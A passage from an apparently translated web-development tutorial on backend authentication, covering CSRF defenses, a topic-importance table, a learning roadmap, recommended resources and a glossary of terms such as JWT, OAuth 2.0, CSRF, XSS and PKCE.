  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

6. Summary & Learning Roadmap ​

Authentication is a "fundamental skill" of backend systems. Mastering it is essential to building secure and reliable applications.

6.1 Core Knowledge Points ​

TopicImportanceDifficultyReal-World Frequency
Session + Cookie⭐⭐⭐⭐MediumHigh
JWT⭐⭐⭐⭐⭐LowVery High
OAuth 2.0⭐⭐⭐⭐HighHigh
Password Hashing (bcrypt)⭐⭐⭐⭐⭐LowVery High
Rate Limiting & Anti-Brute-Force⭐⭐⭐⭐⭐MediumVery High
CSRF Defense⭐⭐⭐⭐MediumMedium
XSS Defense⭐⭐⭐⭐LowHigh

6.2 Learning Roadmap ​

  1. Getting Started (1–2 days):

    • Understand authentication vs. authorization.
    • Master the principles of Session + Cookie.
    • Implement a simple login and registration feature.
  2. Intermediate (1 week):

    • Learn the principles and implementation of JWT.
    • Implement a JWT-based authentication system.
    • Master password hashing (bcrypt).
  3. Practical Application (2–4 weeks):

    • Integrate OAuth 2.0 (WeChat, Google login).
    • Implement rate limiting and brute-force prevention.
    • Defend against CSRF, XSS, and other common attacks.
  4. Going Deeper (ongoing):

    • Study RBAC (Role-Based Access Control).
    • Research SSO (Single Sign-On).
    • Explore Zero Trust Architecture.

6.3 Recommended Resources ​

  • Standards:
    • RFC 6749 (OAuth 2.0)
    • RFC 7519 (JWT)
  • Articles:
    • JWT.io: https://jwt.io/
    • OAuth 2.0 Simplified: https://oauth.net/2/
  • Tools:
    • jwt.io (Online JWT debugger)
    • Postman (API testing)

7. Glossary ​

TermFull NameExplanation
AuthNAuthenticationAuthentication. Verifies "who you are" (e.g., entering a password to verify identity).
AuthZAuthorizationAuthorization. Verifies "what you can do" (e.g., only admins can delete).
Session-Session. Server-side user state information.
Cookie-Cookie. A small piece of data stored by the browser, automatically sent with every request.
JWTJSON Web TokenJSON Web Token. A stateless authentication scheme consisting of Header, Payload, and Signature.
OAuth 2.0-Open Authorization. A standardized framework for third-party login (e.g., "Log in with WeChat").
SSOSingle Sign-OnSingle Sign-On. Log in once to access multiple applications (e.g., Google account across all Google services).
RBACRole-Based Access ControlRole-Based Access Control. Determines permissions based on a user's role (e.g., admin, user).
CSRFCross-Site Request ForgeryCross-Site Request Forgery. An attacker tricks a user into sending a malicious request (e.g., using your Cookie to initiate a transfer).
XSSCross-Site ScriptingCross-Site Scripting. An attacker injects malicious scripts into a web page (e.g., stealing Cookies).
bcrypt-Password Hashing Algorithm. A slow hashing algorithm specifically designed for password storage; prevents brute-force attacks.
Access Token-Access Token. A short-lived token used to access APIs.
Refresh Token-Refresh Token. A long-lived token used to obtain a new Access Token.
Scope-Permission Scope. An OAuth 2.0 concept representing the permissions requested by a third-party application (e.g., read user information).
PKCEProof Key for Code ExchangeProof Key for Code Exchange. An OAuth 2.0 extension for security hardening of public clients (e.g., SPAs).
Edit this page on GitHub
Pager
Previous pageSerialization: The "Translation" of Data
Next pageConcurrency, Async, and Multithreading

京ICP备2026002630号-1 | 京公网安备11010602202215号

本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC BY-NC-SA 4.0) 进行许可